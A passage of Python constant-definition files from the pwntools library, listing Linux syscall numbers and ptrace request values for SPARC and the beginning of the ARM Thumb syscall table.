Constant('PTRACE_EVENT_FORK',1) PTRACE_EVENT_VFORK = Constant('PTRACE_EVENT_VFORK',2) PTRACE_EVENT_CLONE = Constant('PTRACE_EVENT_CLONE',3) PTRACE_EVENT_EXEC = Constant('PTRACE_EVENT_EXEC',4) PTRACE_EVENT_VFORK_DONE = Constant('PTRACE_EVENT_VFORK_DONE',5) PTRACE_EVENT_EXIT = Constant('PTRACE_EVENT_EXIT',6) PT_TRACE_ME = Constant('PT_TRACE_ME',0) PT_READ_I = Constant('PT_READ_I',1) PT_READ_D = Constant('PT_READ_D',2) PT_READ_U = Constant('PT_READ_U',3) PT_WRITE_I = Constant('PT_WRITE_I',4) PT_WRITE_D = Constant('PT_WRITE_D',5) PT_WRITE_U = Constant('PT_WRITE_U',6) PT_CONTINUE = Constant('PT_CONTINUE',7) PT_KILL = Constant('PT_KILL',8) PT_STEP = Constant('PT_STEP',9) PT_ATTACH = Constant('PT_ATTACH',0x10) PT_DETACH = Constant('PT_DETACH',0x11) SYS_accept = Constant('SYS_accept',99) SYS_accept4 = Constant('SYS_accept4',323) SYS_access = Constant('SYS_access',33) SYS_acct = Constant('SYS_acct',51) SYS_add_key = Constant('SYS_add_key',281) SYS_adjtimex = Constant('SYS_adjtimex',219) SYS_afs_syscall = Constant('SYS_afs_syscall',227) SYS_alarm = Constant('SYS_alarm',27) SYS_aplib = Constant('SYS_aplib',255) SYS_bdflush = Constant('SYS_bdflush',225) SYS_bind = Constant('SYS_bind',353) SYS_bpf = Constant('SYS_bpf',349) SYS_brk = Constant('SYS_brk',17) SYS_capget = Constant('SYS_capget',21) SYS_capset = Constant('SYS_capset',22) SYS_chdir = Constant('SYS_chdir',12) SYS_chmod = Constant('SYS_chmod',15) SYS_chown = Constant('SYS_chown',13) SYS_chroot = Constant('SYS_chroot',61) SYS_clock_adjtime = Constant('SYS_clock_adjtime',334) SYS_clock_getres = Constant('SYS_clock_getres',258) SYS_clock_gettime = Constant('SYS_clock_gettime',257) SYS_clock_nanosleep = Constant('SYS_clock_nanosleep',259) SYS_clock_settime = Constant('SYS_clock_settime',256) SYS_clone = Constant('SYS_clone',217) SYS_close = Constant('SYS_close',6) SYS_connect = Constant('SYS_connect',98) SYS_copy_file_range = Constant('SYS_copy_file_range',357) SYS_creat = Constant('SYS_creat',8) SYS_create_module = Constant('SYS_create_module',221) SYS_delete_module = Constant('SYS_delete_module',222) SYS_dup = Constant('SYS_dup',41) SYS_dup2 = Constant('SYS_dup2',90) SYS_dup3 = Constant('SYS_dup3',320) SYS_epoll_create = Constant('SYS_epoll_create',193) SYS_epoll_create1 = Constant('SYS_epoll_create1',319) SYS_epoll_ctl = Constant('SYS_epoll_ctl',194) SYS_epoll_pwait = Constant('SYS_epoll_pwait',309) SYS_epoll_wait = Constant('SYS_epoll_wait',195) SYS_eventfd = Constant('SYS_eventfd',313) SYS_eventfd2 = Constant('SYS_eventfd2',318) SYS_execv = Constant('SYS_execv',11) SYS_execve = Constant('SYS_execve',59) SYS_execveat = Constant('SYS_execveat',350) SYS_exit = Constant('SYS_exit',1) SYS_exit_group = Constant('SYS_exit_group',188) SYS_faccessat = Constant('SYS_faccessat',296) SYS_fadvise64 = Constant('SYS_fadvise64',209) SYS_fadvise64_64 = Constant('SYS_fadvise64_64',210) SYS_fallocate = Constant('SYS_fallocate',314) SYS_fanotify_init = Constant('SYS_fanotify_init',329) SYS_fanotify_mark = Constant('SYS_fanotify_mark',330) SYS_fchdir = Constant('SYS_fchdir',176) SYS_fchmod = Constant('SYS_fchmod',124) SYS_fchmodat = Constant('SYS_fchmodat',295) SYS_fchown = Constant('SYS_fchown',123) SYS_fchownat = Constant('SYS_fchownat',287) SYS_fcntl = Constant('SYS_fcntl',92) SYS_fdatasync = Constant('SYS_fdatasync',253) SYS_fgetxattr = Constant('SYS_fgetxattr',177) SYS_finit_module = Constant('SYS_finit_module',342) SYS_flistxattr = Constant('SYS_flistxattr',180) SYS_flock = Constant('SYS_flock',131) SYS_fork = Constant('SYS_fork',2) SYS_fremovexattr = Constant('SYS_fremovexattr',186) SYS_fsconfig = Constant('SYS_fsconfig',431) SYS_fsetxattr = Constant('SYS_fsetxattr',171) SYS_fsmount = Constant('SYS_fsmount',432) SYS_fsopen = Constant('SYS_fsopen',430) SYS_fspick = Constant('SYS_fspick',433) SYS_fstat = Constant('SYS_fstat',62) SYS_fstatat64 = Constant('SYS_fstatat64',289) SYS_fstatfs = Constant('SYS_fstatfs',158) SYS_fstatfs64 = Constant('SYS_fstatfs64',235) SYS_fsync = Constant('SYS_fsync',95) SYS_ftruncate = Constant('SYS_ftruncate',130) SYS_futex = Constant('SYS_futex',142) SYS_futimesat = Constant('SYS_futimesat',288) SYS_getcpu = Constant('SYS_getcpu',308) SYS_getcwd = Constant('SYS_getcwd',119) SYS_getdents = Constant('SYS_getdents',174) SYS_getdents64 = Constant('SYS_getdents64',154) SYS_getdomainname = Constant('SYS_getdomainname',162) SYS_getegid = Constant('SYS_getegid',50) SYS_geteuid = Constant('SYS_geteuid',49) SYS_getgid = Constant('SYS_getgid',47) SYS_getgroups = Constant('SYS_getgroups',79) SYS_getitimer = Constant('SYS_getitimer',86) SYS_get_kernel_syms = Constant('SYS_get_kernel_syms',223) SYS_get_mempolicy = Constant('SYS_get_mempolicy',304) SYS_getpagesize = Constant('SYS_getpagesize',64) SYS_getpeername = Constant('SYS_getpeername',141) SYS_getpgid = Constant('SYS_getpgid',224) SYS_getpgrp = Constant('SYS_getpgrp',81) SYS_getpid = Constant('SYS_getpid',20) SYS_getppid = Constant('SYS_getppid',197) SYS_getpriority = Constant('SYS_getpriority',100) SYS_getrandom = Constant('SYS_getrandom',347) SYS_getresgid = Constant('SYS_getresgid',111) SYS_getresuid = Constant('SYS_getresuid',109) SYS_getrlimit = Constant('SYS_getrlimit',144) SYS_get_robust_list = Constant('SYS_get_robust_list',301) SYS_getrusage = Constant('SYS_getrusage',117) SYS_getsid = Constant('SYS_getsid',252) SYS_getsockname = Constant('SYS_getsockname',150) SYS_getsockopt = Constant('SYS_getsockopt',118) SYS_gettid = Constant('SYS_gettid',143) SYS_gettimeofday = Constant('SYS_gettimeofday',116) SYS_getuid = Constant('SYS_getuid',24) SYS_getxattr = Constant('SYS_getxattr',172) SYS_init_module = Constant('SYS_init_module',190) SYS_inotify_init1 = Constant('SYS_inotify_init1',322) SYS_io_cancel = Constant('SYS_io_cancel',271) SYS_ioctl = Constant('SYS_ioctl',54) SYS_io_destroy = Constant('SYS_io_destroy',269) SYS_io_getevents = Constant('SYS_io_getevents',272) SYS_io_pgetevents = Constant('SYS_io_pgetevents',361) SYS_io_setup = Constant('SYS_io_setup',268) SYS_io_submit = Constant('SYS_io_submit',270) SYS_io_uring_enter = Constant('SYS_io_uring_enter',426) SYS_io_uring_register = Constant('SYS_io_uring_register',427) SYS_io_uring_setup = Constant('SYS_io_uring_setup',425) SYS_ipc = Constant('SYS_ipc',215) SYS_kcmp = Constant('SYS_kcmp',341) SYS_kern_features = Constant('SYS_kern_features',340) SYS_kexec_load = Constant('SYS_kexec_load',306) SYS_keyctl = Constant('SYS_keyctl',283) SYS_kill = Constant('SYS_kill',37) SYS_lchown = Constant('SYS_lchown',16) SYS_lgetxattr = Constant('SYS_lgetxattr',173) SYS_link = Constant('SYS_link',9) SYS_linkat = Constant('SYS_linkat',292) SYS_listen = Constant('SYS_listen',354) SYS_listxattr = Constant('SYS_listxattr',178) SYS_llistxattr = Constant('SYS_llistxattr',179) SYS__llseek = Constant('SYS__llseek',236) SYS_lookup_dcookie = Constant('SYS_lookup_dcookie',208) SYS_lremovexattr = Constant('SYS_lremovexattr',182) SYS_lseek = Constant('SYS_lseek',19) SYS_lsetxattr = Constant('SYS_lsetxattr',170) SYS_lstat = Constant('SYS_lstat',40) SYS_madvise = Constant('SYS_madvise',75) SYS_mbind = Constant('SYS_mbind',303) SYS_membarrier = Constant('SYS_membarrier',351) SYS_memfd_create = Constant('SYS_memfd_create',348) SYS_memory_ordering = Constant('SYS_memory_ordering',52) SYS_migrate_pages = Constant('SYS_migrate_pages',302) SYS_mincore = Constant('SYS_mincore',78) SYS_mkdir = Constant('SYS_mkdir',136) SYS_mkdirat = Constant('SYS_mkdirat',285) SYS_mknod = Constant('SYS_mknod',14) SYS_mknodat = Constant('SYS_mknodat',286) SYS_mlock = Constant('SYS_mlock',237) SYS_mlock2 = Constant('SYS_mlock2',356) SYS_mlockall = Constant('SYS_mlockall',239) SYS_mmap = Constant('SYS_mmap',71) SYS_mount = Constant('SYS_mount',167) SYS_move_mount = Constant('SYS_move_mount',429) SYS_move_pages = Constant('SYS_move_pages',307) SYS_mprotect = Constant('SYS_mprotect',74) SYS_mq_getsetattr = Constant('SYS_mq_getsetattr',278) SYS_mq_notify = Constant('SYS_mq_notify',277) SYS_mq_open = Constant('SYS_mq_open',273) SYS_mq_timedreceive = Constant('SYS_mq_timedreceive',276) SYS_mq_timedsend = Constant('SYS_mq_timedsend',275) SYS_mq_unlink = Constant('SYS_mq_unlink',274) SYS_mremap = Constant('SYS_mremap',250) SYS_msgctl = Constant('SYS_msgctl',402) SYS_msgget = Constant('SYS_msgget',399) SYS_msgrcv = Constant('SYS_msgrcv',401) SYS_msgsnd = Constant('SYS_msgsnd',400) SYS_msync = Constant('SYS_msync',65) SYS_munlock = Constant('SYS_munlock',238) SYS_munlockall = Constant('SYS_munlockall',240) SYS_munmap = Constant('SYS_munmap',73) SYS_name_to_handle_at = Constant('SYS_name_to_handle_at',332) SYS_nanosleep = Constant('SYS_nanosleep',249) SYS__newselect = Constant('SYS__newselect',230) SYS_nfsservctl = Constant('SYS_nfsservctl',254) SYS_nice = Constant('SYS_nice',34) SYS_oldlstat = Constant('SYS_oldlstat',202) SYS_open = Constant('SYS_open',5) SYS_openat = Constant('SYS_openat',284) SYS_openat2 = Constant('SYS_openat2',437) SYS_open_by_handle_at = Constant('SYS_open_by_handle_at',333) SYS_open_tree = Constant('SYS_open_tree',428) SYS_pause = Constant('SYS_pause',29) SYS_pciconfig_read = Constant('SYS_pciconfig_read',148) SYS_pciconfig_write = Constant('SYS_pciconfig_write',149) SYS_perfctr = Constant('SYS_perfctr',18) SYS_perf_event_open = Constant('SYS_perf_event_open',327) SYS_personality = Constant('SYS_personality',191) SYS_pidfd_getfd = Constant('SYS_pidfd_getfd',438) SYS_pidfd_open = Constant('SYS_pidfd_open',434) SYS_pidfd_send_signal = Constant('SYS_pidfd_send_signal',424) SYS_pipe = Constant('SYS_pipe',42) SYS_pipe2 = Constant('SYS_pipe2',321) SYS_pivot_root = Constant('SYS_pivot_root',146) SYS_pkey_alloc = Constant('SYS_pkey_alloc',363) SYS_pkey_free = Constant('SYS_pkey_free',364) SYS_pkey_mprotect = Constant('SYS_pkey_mprotect',362) SYS_poll = Constant('SYS_poll',153) SYS_ppoll = Constant('SYS_ppoll',298) SYS_prctl = Constant('SYS_prctl',147) SYS_pread = Constant('SYS_pread',67) SYS_preadv = Constant('SYS_preadv',324) SYS_preadv2 = Constant('SYS_preadv2',358) SYS_prlimit64 = Constant('SYS_prlimit64',331) SYS_process_vm_readv = Constant('SYS_process_vm_readv',338) SYS_process_vm_writev = Constant('SYS_process_vm_writev',339) SYS_pselect6 = Constant('SYS_pselect6',297) SYS_ptrace = Constant('SYS_ptrace',26) SYS_pwrite = Constant('SYS_pwrite',68) SYS_pwritev = Constant('SYS_pwritev',325) SYS_pwritev2 = Constant('SYS_pwritev2',359) SYS_query_module = Constant('SYS_query_module',184) SYS_quotactl = Constant('SYS_quotactl',165) SYS_read = Constant('SYS_read',3) SYS_readahead = Constant('SYS_readahead',205) SYS_readdir = Constant('SYS_readdir',204) SYS_readlink = Constant('SYS_readlink',58) SYS_readlinkat = Constant('SYS_readlinkat',294) SYS_readv = Constant('SYS_readv',120) SYS_reboot = Constant('SYS_reboot',55) SYS_recvfrom = Constant('SYS_recvfrom',125) SYS_recvmmsg = Constant('SYS_recvmmsg',328) SYS_recvmsg = Constant('SYS_recvmsg',113) SYS_remap_file_pages = Constant('SYS_remap_file_pages',192) SYS_removexattr = Constant('SYS_removexattr',181) SYS_rename = Constant('SYS_rename',128) SYS_renameat = Constant('SYS_renameat',291) SYS_renameat2 = Constant('SYS_renameat2',345) SYS_request_key = Constant('SYS_request_key',282) SYS_rmdir = Constant('SYS_rmdir',137) SYS_rseq = Constant('SYS_rseq',365) SYS_rt_sigaction = Constant('SYS_rt_sigaction',102) SYS_rt_sigpending = Constant('SYS_rt_sigpending',104) SYS_rt_sigprocmask = Constant('SYS_rt_sigprocmask',103) SYS_rt_sigqueueinfo = Constant('SYS_rt_sigqueueinfo',106) SYS_rt_sigreturn = Constant('SYS_rt_sigreturn',101) SYS_rt_sigsuspend = Constant('SYS_rt_sigsuspend',107) SYS_rt_sigtimedwait = Constant('SYS_rt_sigtimedwait',105) SYS_rt_tgsigqueueinfo = Constant('SYS_rt_tgsigqueueinfo',326) SYS_sched_getaffinity = Constant('SYS_sched_getaffinity',260) SYS_sched_getattr = Constant('SYS_sched_getattr',344) SYS_sched_getparam = Constant('SYS_sched_getparam',242) SYS_sched_get_priority_max = Constant('SYS_sched_get_priority_max',246) SYS_sched_get_priority_min = Constant('SYS_sched_get_priority_min',247) SYS_sched_getscheduler = Constant('SYS_sched_getscheduler',244) SYS_sched_rr_get_interval = Constant('SYS_sched_rr_get_interval',248) SYS_sched_setaffinity = Constant('SYS_sched_setaffinity',261) SYS_sched_setattr = Constant('SYS_sched_setattr',343) SYS_sched_setparam = Constant('SYS_sched_setparam',241) SYS_sched_setscheduler = Constant('SYS_sched_setscheduler',243) SYS_sched_yield = Constant('SYS_sched_yield',245) SYS_seccomp = Constant('SYS_seccomp',346) SYS_select = Constant('SYS_select',93) SYS_semctl = Constant('SYS_semctl',394) SYS_semget = Constant('SYS_semget',393) SYS_semtimedop = Constant('SYS_semtimedop',392) SYS_sendfile = Constant('SYS_sendfile',39) SYS_sendfile64 = Constant('SYS_sendfile64',140) SYS_sendmmsg = Constant('SYS_sendmmsg',336) SYS_sendmsg = Constant('SYS_sendmsg',114) SYS_sendto = Constant('SYS_sendto',133) SYS_setdomainname = Constant('SYS_setdomainname',163) SYS_setfsgid = Constant('SYS_setfsgid',229) SYS_setfsuid = Constant('SYS_setfsuid',228) SYS_setgid = Constant('SYS_setgid',46) SYS_setgroups = Constant('SYS_setgroups',80) SYS_sethostname = Constant('SYS_sethostname',88) SYS_setitimer = Constant('SYS_setitimer',83) SYS_set_mempolicy = Constant('SYS_set_mempolicy',305) SYS_setns = Constant('SYS_setns',337) SYS_setpgid = Constant('SYS_setpgid',185) SYS_setpriority = Constant('SYS_setpriority',96) SYS_setregid = Constant('SYS_setregid',127) SYS_setresgid = Constant('SYS_setresgid',110) SYS_setresuid = Constant('SYS_setresuid',108) SYS_setreuid = Constant('SYS_setreuid',126) SYS_setrlimit = Constant('SYS_setrlimit',145) SYS_set_robust_list = Constant('SYS_set_robust_list',300) SYS_setsid = Constant('SYS_setsid',175) SYS_setsockopt = Constant('SYS_setsockopt',355) SYS_set_tid_address = Constant('SYS_set_tid_address',166) SYS_settimeofday = Constant('SYS_settimeofday',122) SYS_setuid = Constant('SYS_setuid',23) SYS_setxattr = Constant('SYS_setxattr',169) SYS_sgetmask = Constant('SYS_sgetmask',199) SYS_shmat = Constant('SYS_shmat',397) SYS_shmctl = Constant('SYS_shmctl',396) SYS_shmdt = Constant('SYS_shmdt',398) SYS_shmget = Constant('SYS_shmget',395) SYS_shutdown = Constant('SYS_shutdown',134) SYS_sigaction = Constant('SYS_sigaction',198) SYS_sigaltstack = Constant('SYS_sigaltstack',28) SYS_signal = Constant('SYS_signal',48) SYS_signalfd = Constant('SYS_signalfd',311) SYS_signalfd4 = Constant('SYS_signalfd4',317) SYS_sigpending = Constant('SYS_sigpending',183) SYS_sigprocmask = Constant('SYS_sigprocmask',220) SYS_sigreturn = Constant('SYS_sigreturn',216) SYS_sigsuspend = Constant('SYS_sigsuspend',201) SYS_socket = Constant('SYS_socket',97) SYS_socketcall = Constant('SYS_socketcall',206) SYS_socketpair = Constant('SYS_socketpair',135) SYS_ssetmask = Constant('SYS_ssetmask',200) SYS_stat = Constant('SYS_stat',38) SYS_statfs = Constant('SYS_statfs',157) SYS_statfs64 = Constant('SYS_statfs64',234) SYS_statx = Constant('SYS_statx',360) SYS_stime = Constant('SYS_stime',233) SYS_swapoff = Constant('SYS_swapoff',213) SYS_swapon = Constant('SYS_swapon',85) SYS_symlink = Constant('SYS_symlink',57) SYS_symlinkat = Constant('SYS_symlinkat',293) SYS_sync = Constant('SYS_sync',36) SYS_syncfs = Constant('SYS_syncfs',335) SYS__sysctl = Constant('SYS__sysctl',251) SYS_sysfs = Constant('SYS_sysfs',226) SYS_sysinfo = Constant('SYS_sysinfo',214) SYS_syslog = Constant('SYS_syslog',207) SYS_tgkill = Constant('SYS_tgkill',211) SYS_timer_create = Constant('SYS_timer_create',266) SYS_timer_delete = Constant('SYS_timer_delete',265) SYS_timerfd = Constant('SYS_timerfd',312) SYS_timerfd_gettime = Constant('SYS_timerfd_gettime',316) SYS_timerfd_settime = Constant('SYS_timerfd_settime',315) SYS_timer_getoverrun = Constant('SYS_timer_getoverrun',264) SYS_timer_gettime = Constant('SYS_timer_gettime',263) SYS_timer_settime = Constant('SYS_timer_settime',262) SYS_times = Constant('SYS_times',43) SYS_tkill = Constant('SYS_tkill',187) SYS_truncate = Constant('SYS_truncate',129) SYS_umask = Constant('SYS_umask',60) SYS_umount = Constant('SYS_umount',159) SYS_umount2 = Constant('SYS_umount2',45) SYS_uname = Constant('SYS_uname',189) SYS_unlink = Constant('SYS_unlink',10) SYS_unlinkat = Constant('SYS_unlinkat',290) SYS_unshare = Constant('SYS_unshare',299) SYS_uselib = Constant('SYS_uselib',203) SYS_userfaultfd = Constant('SYS_userfaultfd',352) SYS_ustat = Constant('SYS_ustat',168) SYS_utime = Constant('SYS_utime',30) SYS_utimensat = Constant('SYS_utimensat',310) SYS_utimes = Constant('SYS_utimes',138) SYS_utrap_install = Constant('SYS_utrap_install',164) SYS_vfork = Constant('SYS_vfork',66) SYS_vhangup = Constant('SYS_vhangup',76) SYS_wait4 = Constant('SYS_wait4',7) SYS_waitid = Constant('SYS_waitid',279) SYS_waitpid = Constant('SYS_waitpid',212) SYS_write = Constant('SYS_write',4) SYS_writev = Constant('SYS_writev',121) Gallopsled-pwntools-3ad86ec/pwnlib/constants/linux/thumb.py000066400000000000000000002670531507273764500243560ustar00rootroot00000000000000from pwnlib.constants.constant import Constant _ARM_SYSCALL_H = Constant('_ARM_SYSCALL_H',1) __NR_OABI_SYSCALL_BASE = Constant('__NR_OABI_SYSCALL_BASE',0x900000) __NR_SYSCALL_BASE = Constant('__NR_SYSCALL_BASE',0) __NR_restart_syscall = Constant('__NR_restart_syscall',(0+ 0)) __NR_exit = Constant('__NR_exit',(0+ 1)) __NR_fork = Constant('__NR_fork',(0+ 2)) __NR_read = Constant('__NR_read',(0+ 3)) __NR_write = Constant('__NR_write',(0+ 4)) __NR_open = Constant('__NR_open',(0+ 5)) __NR_close = Constant('__NR_close',(0+ 6)) __NR_creat = Constant('__NR_creat',(0+ 8)) __NR_link = Constant('__NR_link',(0+ 9)) __NR_unlink = Constant('__NR_unlink',(0+ 10)) __NR_execve = Constant('__NR_execve',(0+ 11)) __NR_chdir = Constant('__NR_chdir',(0+ 12)) __NR_time = Constant('__NR_time',(0+ 13)) __NR_mknod = Constant('__NR_mknod',(0+ 14)) __NR_chmod = Constant('__NR_chmod',(0+ 15)) __NR_lchown = Constant('__NR_lchown',(0+ 16)) __NR_lseek = Constant('__NR_lseek',(0+ 19)) __NR_getpid = Constant('__NR_getpid',(0+ 20)) __NR_mount = Constant('__NR_mount',(0+ 21)) __NR_umount = Constant('__NR_umount',(0+ 22)) __NR_setuid = Constant('__NR_setuid',(0+ 23)) __NR_getuid = Constant('__NR_getuid',(0+ 24)) __NR_stime = Constant('__NR_stime',(0+ 25)) __NR_ptrace = Constant('__NR_ptrace',(0+ 26)) __NR_alarm = Constant('__NR_alarm',(0+ 27)) __NR_pause = Constant('__NR_pause',(0+ 29)) __NR_utime = Constant('__NR_utime',(0+ 30)) __NR_access = Constant('__NR_access',(0+ 33)) __NR_nice = Constant('__NR_nice',(0+ 34)) __NR_sync = Constant('__NR_sync',(0+ 36)) __NR_kill = Constant('__NR_kill',(0+ 37)) __NR_rename = Constant('__NR_rename',(0+ 38)) __NR_mkdir = Constant('__NR_mkdir',(0+ 39)) __NR_rmdir = Constant('__NR_rmdir',(0+ 40)) __NR_dup = Constant('__NR_dup',(0+ 41)) __NR_pipe = Constant('__NR_pipe',(0+ 42)) __NR_times = Constant('__NR_times',(0+ 43)) __NR_brk = Constant('__NR_brk',(0+ 45)) __NR_setgid = Constant('__NR_setgid',(0+ 46)) __NR_getgid = Constant('__NR_getgid',(0+ 47)) __NR_geteuid = Constant('__NR_geteuid',(0+ 49)) __NR_getegid = Constant('__NR_getegid',(0+ 50)) __NR_acct = Constant('__NR_acct',(0+ 51)) __NR_umount2 = Constant('__NR_umount2',(0+ 52)) __NR_ioctl = Constant('__NR_ioctl',(0+ 54)) __NR_fcntl = Constant('__NR_fcntl',(0+ 55)) __NR_setpgid = Constant('__NR_setpgid',(0+ 57)) __NR_umask = Constant('__NR_umask',(0+ 60)) __NR_chroot = Constant('__NR_chroot',(0+ 61)) __NR_ustat = Constant('__NR_ustat',(0+ 62)) __NR_dup2 = Constant('__NR_dup2',(0+ 63)) __NR_getppid = Constant('__NR_getppid',(0+ 64)) __NR_getpgrp = Constant('__NR_getpgrp',(0+ 65)) __NR_setsid = Constant('__NR_setsid',(0+ 66)) __NR_sigaction = Constant('__NR_sigaction',(0+ 67)) __NR_setreuid = Constant('__NR_setreuid',(0+ 70)) __NR_setregid = Constant('__NR_setregid',(0+ 71)) __NR_sigsuspend = Constant('__NR_sigsuspend',(0+ 72)) __NR_sigpending = Constant('__NR_sigpending',(0+ 73)) __NR_sethostname = Constant('__NR_sethostname',(0+ 74)) __NR_setrlimit = Constant('__NR_setrlimit',(0+ 75)) __NR_getrlimit = Constant('__NR_getrlimit',(0+ 76)) __NR_getrusage = Constant('__NR_getrusage',(0+ 77)) __NR_gettimeofday = Constant('__NR_gettimeofday',(0+ 78)) __NR_settimeofday = Constant('__NR_settimeofday',(0+ 79)) __NR_getgroups = Constant('__NR_getgroups',(0+ 80)) __NR_setgroups = Constant('__NR_setgroups',(0+ 81)) __NR_select = Constant('__NR_select',(0+ 82)) __NR_symlink = Constant('__NR_symlink',(0+ 83)) __NR_readlink = Constant('__NR_readlink',(0+ 85)) __NR_uselib = Constant('__NR_uselib',(0+ 86)) __NR_swapon = Constant('__NR_swapon',(0+ 87)) __NR_reboot = Constant('__NR_reboot',(0+ 88)) __NR_readdir = Constant('__NR_readdir',(0+ 89)) __NR_mmap = Constant('__NR_mmap',(0+ 90)) __NR_munmap = Constant('__NR_munmap',(0+ 91)) __NR_truncate = Constant('__NR_truncate',(0+ 92)) __NR_ftruncate = Constant('__NR_ftruncate',(0+ 93)) __NR_fchmod = Constant('__NR_fchmod',(0+ 94)) __NR_fchown = Constant('__NR_fchown',(0+ 95)) __NR_getpriority = Constant('__NR_getpriority',(0+ 96)) __NR_setpriority = Constant('__NR_setpriority',(0+ 97)) __NR_statfs = Constant('__NR_statfs',(0+ 99)) __NR_fstatfs = Constant('__NR_fstatfs',(0+100)) __NR_socketcall = Constant('__NR_socketcall',(0+102)) __NR_syslog = Constant('__NR_syslog',(0+103)) __NR_setitimer = Constant('__NR_setitimer',(0+104)) __NR_getitimer = Constant('__NR_getitimer',(0+105)) __NR_stat = Constant('__NR_stat',(0+106)) __NR_lstat = Constant('__NR_lstat',(0+107)) __NR_fstat = Constant('__NR_fstat',(0+108)) __NR_vhangup = Constant('__NR_vhangup',(0+111)) __NR_syscall = Constant('__NR_syscall',(0+113)) __NR_wait4 = Constant('__NR_wait4',(0+114)) __NR_swapoff = Constant('__NR_swapoff',(0+115)) __NR_sysinfo = Constant('__NR_sysinfo',(0+116)) __NR_ipc = Constant('__NR_ipc',(0+117)) __NR_fsync = Constant('__NR_fsync',(0+118)) __NR_sigreturn = Constant('__NR_sigreturn',(0+119)) __NR_clone = Constant('__NR_clone',(0+120)) __NR_setdomainname = Constant('__NR_setdomainname',(0+121)) __NR_uname = Constant('__NR_uname',(0+122)) __NR_adjtimex = Constant('__NR_adjtimex',(0+124)) __NR_mprotect = Constant('__NR_mprotect',(0+125)) __NR_sigprocmask = Constant('__NR_sigprocmask',(0+126)) __NR_init_module = Constant('__NR_init_module',(0+128)) __NR_delete_module = Constant('__NR_delete_module',(0+129)) __NR_quotactl = Constant('__NR_quotactl',(0+131)) __NR_getpgid = Constant('__NR_getpgid',(0+132)) __NR_fchdir = Constant('__NR_fchdir',(0+133)) __NR_bdflush = Constant('__NR_bdflush',(0+134)) __NR_sysfs = Constant('__NR_sysfs',(0+135)) __NR_personality = Constant('__NR_personality',(0+136)) __NR_setfsuid = Constant('__NR_setfsuid',(0+138)) __NR_setfsgid = Constant('__NR_setfsgid',(0+139)) __NR__llseek = Constant('__NR__llseek',(0+140)) __NR_getdents = Constant('__NR_getdents',(0+141)) __NR__newselect = Constant('__NR__newselect',(0+142)) __NR_flock = Constant('__NR_flock',(0+143)) __NR_msync = Constant('__NR_msync',(0+144)) __NR_readv = Constant('__NR_readv',(0+145)) __NR_writev = Constant('__NR_writev',(0+146)) __NR_getsid = Constant('__NR_getsid',(0+147)) __NR_fdatasync = Constant('__NR_fdatasync',(0+148)) __NR__sysctl = Constant('__NR__sysctl',(0+149)) __NR_mlock = Constant('__NR_mlock',(0+150)) __NR_munlock = Constant('__NR_munlock',(0+151)) __NR_mlockall = Constant('__NR_mlockall',(0+152)) __NR_munlockall = Constant('__NR_munlockall',(0+153)) __NR_sched_setparam = Constant('__NR_sched_setparam',(0+154)) __NR_sched_getparam = Constant('__NR_sched_getparam',(0+155)) __NR_sched_setscheduler = Constant('__NR_sched_setscheduler',(0+156)) __NR_sched_getscheduler = Constant('__NR_sched_getscheduler',(0+157)) __NR_sched_yield = Constant('__NR_sched_yield',(0+158)) __NR_sched_get_priority_max = Constant('__NR_sched_get_priority_max',(0+159)) __NR_sched_get_priority_min = Constant('__NR_sched_get_priority_min',(0+160)) __NR_sched_rr_get_interval = Constant('__NR_sched_rr_get_interval',(0+161)) __NR_nanosleep = Constant('__NR_nanosleep',(0+162)) __NR_mremap = Constant('__NR_mremap',(0+163)) __NR_setresuid = Constant('__NR_setresuid',(0+164)) __NR_getresuid = Constant('__NR_getresuid',(0+165)) __NR_poll = Constant('__NR_poll',(0+168)) __NR_nfsservctl = Constant('__NR_nfsservctl',(0+169)) __NR_setresgid = Constant('__NR_setresgid',(0+170)) __NR_getresgid = Constant('__NR_getresgid',(0+171)) __NR_prctl = Constant('__NR_prctl',(0+172)) __NR_rt_sigreturn = Constant('__NR_rt_sigreturn',(0+173)) __NR_rt_sigaction = Constant('__NR_rt_sigaction',(0+174)) __NR_rt_sigprocmask = Constant('__NR_rt_sigprocmask',(0+175)) __NR_rt_sigpending = Constant('__NR_rt_sigpending',(0+176)) __NR_rt_sigtimedwait = Constant('__NR_rt_sigtimedwait',(0+177)) __NR_rt_sigqueueinfo = Constant('__NR_rt_sigqueueinfo',(0+178)) __NR_rt_sigsuspend = Constant('__NR_rt_sigsuspend',(0+179)) __NR_pread64 = Constant('__NR_pread64',(0+180)) __NR_pwrite64 = Constant('__NR_pwrite64',(0+181)) __NR_chown = Constant('__NR_chown',(0+182)) __NR_getcwd = Constant('__NR_getcwd',(0+183)) __NR_capget = Constant('__NR_capget',(0+184)) __NR_capset = Constant('__NR_capset',(0+185)) __NR_sigaltstack = Constant('__NR_sigaltstack',(0+186)) __NR_sendfile = Constant('__NR_sendfile',(0+187)) __NR_vfork = Constant('__NR_vfork',(0+190)) __NR_ugetrlimit = Constant('__NR_ugetrlimit',(0+191)) __NR_mmap2 = Constant('__NR_mmap2',(0+192)) __NR_truncate64 = Constant('__NR_truncate64',(0+193)) __NR_ftruncate64 = Constant('__NR_ftruncate64',(0+194)) __NR_stat64 = Constant('__NR_stat64',(0+195)) __NR_lstat64 = Constant('__NR_lstat64',(0+196)) __NR_fstat64 = Constant('__NR_fstat64',(0+197)) __NR_lchown32 = Constant('__NR_lchown32',(0+198)) __NR_getuid32 = Constant('__NR_getuid32',(0+199)) __NR_getgid32 = Constant('__NR_getgid32',(0+200)) __NR_geteuid32 = Constant('__NR_geteuid32',(0+201)) __NR_getegid32 = Constant('__NR_getegid32',(0+202)) __NR_setreuid32 = Constant('__NR_setreuid32',(0+203)) __NR_setregid32 = Constant('__NR_setregid32',(0+204)) __NR_getgroups32 = Constant('__NR_getgroups32',(0+205)) __NR_setgroups32 = Constant('__NR_setgroups32',(0+206)) __NR_fchown32 = Constant('__NR_fchown32',(0+207)) __NR_setresuid32 = Constant('__NR_setresuid32',(0+208)) __NR_getresuid32 = Constant('__NR_getresuid32',(0+209)) __NR_setresgid32 = Constant('__NR_setresgid32',(0+210)) __NR_getresgid32 = Constant('__NR_getresgid32',(0+211)) __NR_chown32 = Constant('__NR_chown32',(0+212)) __NR_setuid32 = Constant('__NR_setuid32',(0+213)) __NR_setgid32 = Constant('__NR_setgid32',(0+214)) __NR_setfsuid32 = Constant('__NR_setfsuid32',(0+215)) __NR_setfsgid32 = Constant('__NR_setfsgid32',(0+216)) __NR_getdents64 = Constant('__NR_getdents64',(0+217)) __NR_pivot_root = Constant('__NR_pivot_root',(0+218)) __NR_mincore = Constant('__NR_mincore',(0+219)) __NR_madvise = 